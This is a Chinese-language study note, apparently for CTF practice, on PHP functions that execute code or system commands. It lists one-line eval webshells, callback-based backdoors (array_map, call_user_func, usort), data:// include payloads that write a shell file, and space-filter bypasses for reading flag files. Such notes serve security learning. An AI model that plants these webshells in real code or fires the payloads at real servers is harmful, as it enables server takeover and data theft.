PHP中执行PHP代码的函数
eval()、assert()、preg_replace()、create_function()
array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()
文件操作函数、动态函数($a($b))
注意其中代码以分号结尾。
eval()
eval()函数把字符串按照PHP代码来计算,如常见的一句话后面程序:
<?php eval($_POST(cmd))?>
assert()
与eval类似,字符串被assert()当作PHP代码来执行
preg_replace()
mixed preg_replace (mixed $pattern, mixed $replacement , mixed $subject [, int $limit = -1[, int&$count]] )
搜索subject中匹配pattern的部分,以replacement进行替换。
preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的**/e修饰符**,使preg_replace() 将 replacement参数当作 PHP 代码
create_function()
create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。在PHP7.2.0以上的版本被遗弃。
在内部执行eval()
语法:
create_function(string $args, string $code
string $args 声明的函数变量部分
string $code 执行的方法代码部分
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo $newfunc(2, M_E)."\n";
?>
代码注入实例
/*一句话木马
<?php $func = create_function('',$_POST['cmd']);$func();?>
PHP短标签
使用此缩写需要short_open_tag 的值为 On。
<? ?>
<? echo `ls`?>
等价于
<?=`ls`?>
array_map()
array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map()函数的数组数目一致。
array_map(myfunction,array1,array2,array3...)
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
call_user_func()/call_user_func_array()
call_user_func()把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array()调用回调函数,并把一个数组参数作为回调函数的参数。
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
usort()、uasort()
usort() 通过用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();
文件操作函数
file_put_contents() 函数把一个字符串写入文件中。
fputs() 函数写入文件
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>
动态函数
PHP函数直接由字符串拼接
<?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>
Include()
include函数虽然不能直接执行php代码,但是可以通过伪协议间接执行。
include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。
php://filter用于读取源码,php://input用于执行php代码。
data://协议
作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
条件:
allow_url_fopen:on
allow_url_include :on
用法:
data:text/plain
data://text/plain,
data://text/plain;base64,
示例:
data://text/plain,
?file=data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
# 写入shell
data:text/plain,<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[ant])?>');?>
c=data://text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oJ2hhY2sucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1RbYW50XSk%2fPicpOz8%2B
ps:
- 是Base64中的有效字符,用于表示具体的二进制数据。在URL传输过程中,为了避免+被解析为空格,编码为%2B是必要的
- 在URL中通常表示空格。为了避免歧义,将+替换为%2B以保留它原本的意义。
/ 替换为%2F
PHP中执行系统命令的函数
exec()、passthru()、system()、 shell_exec()
php配置文件 php.ini默认禁止执行外部命令函数。disable_functions=
exec()
function exec(string $command,array[optional] $output,int[optional] $return_value)
<?php
echo exec("ls",$file);
echo "</br>";
print_r($file);
?>
test.php
Array([0] => index.php [1] => test.php)
PS:
exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行。
如果想得到结果,可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。
passthru()
function passthru(string $command,int[optional]$return_value)
<?php
passthru("ls");
?>
ps: passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
system()
function system(string $command,int[optional] $return_value)
<?php
system("ls /");
?>
system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。
反撇号`和shell_exec()
shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
<?php
echo `pwd`;
?>
echo
echo(strings)
echo() 函数输出一个或多个字符串。
注释:echo() 函数实际不是一个函数,所以您不必对它使用括号。然而,如果您想要传多于一个参数给 echo(),使用括号将会生成解析错误。
提示:echo() 函数比 print() 速度稍快。
绕过方式
系统命令绕过方法
多条命令拼接
绕过空格
cat%09flag.txt php环境下web输入%09等效于空格
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<>flag.txt #重定向
cat<flag.txt #重定向
经典逃逸绕过
?c=eval($_GET[1]);&1=system('cat flag.php');
?c=eval($_POST[1]);
# post方法
1=system('cat flag.php');